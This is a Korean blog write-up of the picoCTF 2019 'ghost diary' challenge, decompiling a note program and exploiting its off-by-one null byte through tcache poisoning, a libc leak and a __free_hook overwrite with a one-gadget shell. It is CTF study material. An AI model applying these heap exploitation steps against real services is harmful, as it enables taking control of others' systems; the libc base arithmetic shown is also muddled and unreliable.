PICOCTF2019] ghost diary

노션으로 옮김·2020년 4월 21일
1

wargame

목록 보기
42/59
post-thumbnail

개요

tcache poisoning 취약점 실습을 위해, 끝난지 좀 지난 대회이지만 문제파일을 받아서 풀었다.

환경

해당 문제는 glibc-2.26을 로드하여 사용하고 있다.
라이브러리와 관련된 취약점이므로 해당 라이브러리를 사용하는 환경에서 실습해야 한다.


문제

문제파일을 실행해보자.

노트 생성, 쓰기, 읽기, 노트 삭제가 가능한 프로그램이다.


풀이

분석

IDA로 분석해보자.

addNote

__int64 addPage()
{
  size_t size; // [sp+Ch] [bp-14h]@8
  unsigned int i; // [sp+14h] [bp-Ch]@1
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  for ( i = 0; i <= 0x13 && *&g_pages[16 * i]; ++i )
    ;
  if ( i == 20 )
  {
    puts("Buy new book");
  }
  else
  {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printf("> ");
          __isoc99_scanf("%d", &size + 4);
          if ( HIDWORD(size) != 1 )
            break;
          printf("size: ", &size + 4);
          __isoc99_scanf("%d", &size);
          if ( size <= 240 )
            goto LABEL_17;
          puts("too big to fit in a page");
        }
        if ( HIDWORD(size) != 2 )
          return *MK_FP(__FS__, 40LL) ^ v3;
        printf("size: ", &size + 4);
        __isoc99_scanf("%d", &size);
        if ( size > 271 )
          break;
        puts("don't waste pages -_-");
      }
      if ( size <= 480 )
        break;
      puts("can you not write that much?");
    }
LABEL_17:
    *&g_pages[16 * i] = malloc(size);
    if ( *&g_pages[16 * i] )
    {
      g_pageSizes[4 * i] = size;
      printf("page #%d\n", i);
    }
    else
    {
      puts("oh noooooooo!! :(");
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

한 면 노트인지 양면 노트인지 입력받고 쪽 수를 입력받는다. 면에 따라 가능한 쪽 사이즈가 다르다.

입력받은 사이즈로 malloc()을 호출하고 전역 변수인 배열에 저장한다.

writeNote

__int64 writePage()
{
  unsigned int num_page; // [sp+4h] [bp-Ch]@1
  __int64 v2; // [sp+8h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  printf("Page: ");
  __isoc99_scanf("%d", &num_page);
  printf("Content: ", &num_page);
  if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
    readData(*&g_pages[16 * num_page], g_pageSizes[4 * num_page]);
  return *MK_FP(__FS__, 40LL) ^ v2;
}

데이터를 쓸 노트 번호를 입력받는데, 그 번호의 노트가 있는지 검사한다.

그리고 readData()를 호출한다.

readData

__int64 __fastcall readData(__int64 g_pages, int size)
{
  int v2; // eax@7
  char buf; // [sp+13h] [bp-Dh]@3
  unsigned int i; // [sp+14h] [bp-Ch]@1
  __int64 v6; // [sp+18h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  i = 0;
  if ( size )
  {
    while ( i != size )
    {
      if ( read(0, &buf, 1uLL) != 1 )
      {
        puts("read error");
        exit(-1);
      }
      if ( buf == 10 )
        break;
      v2 = i++;
      *(g_pages + v2) = buf;
    }
    *(i + g_pages) = 0;
  }
  return *MK_FP(__FS__, 40LL) ^ v6;
}

데이터를 쓰는 함수이다.
중요한 점은

 *(i + g_pages) = 0;

위에서처럼 데이터를 모두 입력 후, 마지막에 널 값을 넣을 때 1바이트를 오버플로우한 위치이다.

off-by-one이 발생하는 것이다.

printPage

__int64 printPage()
{
  unsigned int num_page; // [sp+4h] [bp-Ch]@1
  __int64 canary; // [sp+8h] [bp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  printf("Page: ");
  __isoc99_scanf("%d", &num_page);
  printf("Content: ", &num_page);
  if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
    puts(*&g_pages[16 * num_page]);
  return *MK_FP(__FS__, 40LL) ^ canary;
}

데이터를 출력한다.

burnPage

__int64 burnPage()
{
  unsigned int num_page; // [sp+4h] [bp-Ch]@1
  __int64 v2; // [sp+8h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  printf("Page: ");
  __isoc99_scanf("%d", &num_page);
  if ( num_page <= 0x13 && *&g_pages[16 * num_page] )
  {
    free(*&g_pages[16 * num_page]);
    *&g_pages[16 * num_page] = 0LL;
  }
  return *MK_FP(__FS__, 40LL) ^ v2;
}

입력받은 번호의 노트를 free시킨다.
포인터도 널로 초기화시키므로 uaf나, double free bug가 불가능하다.

libc leak

glibc-2.26부터는 tcache bin을 사용한다.
이 문제에서 익스플로잇을 위해 알아야 하는 특징은 다음과 같다.

1.tcache bin에 가장 우선적으로 free, alloc되며
2.bin의 최대 개수가 7이고
3.tcache bin의 자리가 없을 경우 unsorted bin 등 다른 bin에 저장된다.

tcache bin은 fastbin과 같아서, libc 주소를 확인할 수 없다.
먼저 tcache bin을 채우는데 사용할 청크를 할당한다.

def fillTcacheAlloc(size):
    for i in range(7):
        list_free.append(addNote(size))
def fillTcacheFree():
    for x in list_free:
        burnNote(x)
        
fillTcacheAlloc(0x128)
fillTcacheAlloc(0xf0)

그리고 leak에 사용될 청크 세 개를 할당한다.

idx_A = addNote(0x128)
writeNote(idx_A, 'A'*0x120+p64(0x120))

idx_B = addNote(0x118)
writeNote(idx_B, 'B'*0x118)

idx_C = addNote(0x118)
writeNote(idx_C,'C'*0xf8)

그리고 tcache bin을 채운다.

fillTcacheFree()

이제 청크 A를 free하여 unsorted bin에 저장되도록 만든다.

#free A
burnNote(idx_A)

그럼 A의 위치에 fd, bk인 libc 주소가 저장될 것이다.
이것을 B로 옮겨 출력해야 한다.

B를 오버플로우시켜 C의 inuse를 0으로 바꾸고 prev_size도 A+B만큼 변경한다. B를 free된 것처럼 속이는 것이다.

#overflow B to set inuse flag of C
writeNote(idx_B, 'B'*0x110+p64(0x120*2+0x10))

그리고 C를 free시키면 되는데, C의 사이즈가 오버플로우로 인해 0x120에서 0x100으로 사이즈가 변경된 상태이다. C의 사이즈가 줄어들었으므로 next 청크의 위치도 변경되야 한다.

이것을 임의로 C의 값을 수정하여, C[0x100] 위치에 next 청크의 size의 값을 입력한다.
size는 C의 남은 크기값인 0x120 - 0x100 = 0x21(1 is inuse bit)이다.
그 후 C를 free한다.

#insert fake chunk into C
writeNote(idx_C, 'C'*(0xf8)+p64(0x110-0xf8-8+1+0x10))
burnNote(idx_C)

A,B,C는 이제 병합되었다.
이제 A에 위치한 fd,bk를 B로 이동시켜야 한다.
A를 다시 할당(idx_D)하는데, unsorted bin에서 청크를 받아야 하므로 tcache bin을 비운 후에 할당한다.

fillTcacheAlloc(0x128) #empty tcache of 0x128

idx_D = addNote(0x128)
writeNote(idx_D, 'D'*0x128)

이제 B를 출력하면 libc의 주소를 얻을 수 있다.

addr_bin = u64(printNote(idx_B))

Rip Control

__free_hook을 이용하여 one gadget을 실행시키자.

필요한 주소값을 구한다.

temp_base = 0x00007ffff79e4000  //temporary value
offset_bin = addr_bin - temp_base
libc_base = addr_bin - offset_bin

log.info('libc: ' + hex(libc_base))

elf = ELF('ghostdiary')
libc = elf.libc
offset_malloc_hook = libc.symbols['__malloc_hook']
offset_free_hook = libc.symbols['__free_hook']
log.info('mallloc_hook: '+hex(offset_malloc_hook))
log.info('free_hook: '+hex(offset_free_hook))

그리고 이제 추가로 malloc()하면 청크 B의 위치에 할당된다.

idx_dummyBtoC = addNote(0x30)

이렇게 해주는 이유는 double linked list인 unsorted bin의 fd, bk를 이용해 익스플로잇 할 수 없기 때문이다.

기존에 있던 fd, bk는 또다시 밀려났고 청크 B 위치에 또하나의 0x30 크기인 tcache bin 청크가 생겼다.

burnNote(idx_B)

이제 청크 B 위치의 청크 두 개중 하나를 free시키면, 그 위치의 첫번째 8바이트는 fd를 나타낸다.
나머지 하나의 청크가 alloc 상태이므로 이 값을 조작할 수 있다.

__free_hook 주소로 변경시킨다.

addr_malloc_hook = libc_base + offset_malloc_hook
addr_free_hook = libc_base + offset_free_hook
writeNote(idx_dummyBtoC, p64(addr_free_hook)+'z'*0x28)

이제 0x30의 tcache bin은 다음의 상태일 것이다.

__free_hook에 청크를 할당받기 위해 2번 malloc() 한다.

addNote(0x30)
idx_overwrite = addNote(0x30)

idx_overwrite의 노트는 __free_hook 위치에 할당되었을 것이다.
oneshot의 주소를 계산하여 idx_overwrite에 데이터를 입력하면 __free_hook이 조작된다.

offset_oneshot = 0x4f322
'''
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

addr_oneshot = libc_base + offset_oneshot
writeNote(idx_overwrite, p64(addr_oneshot))

그리고 free()를 호출하면 __free_hook에 저장된 oneshot 가젯이 실행되면서 쉘을 획득할 수 있다.

burnNote(0)
p.interactive()

0개의 댓글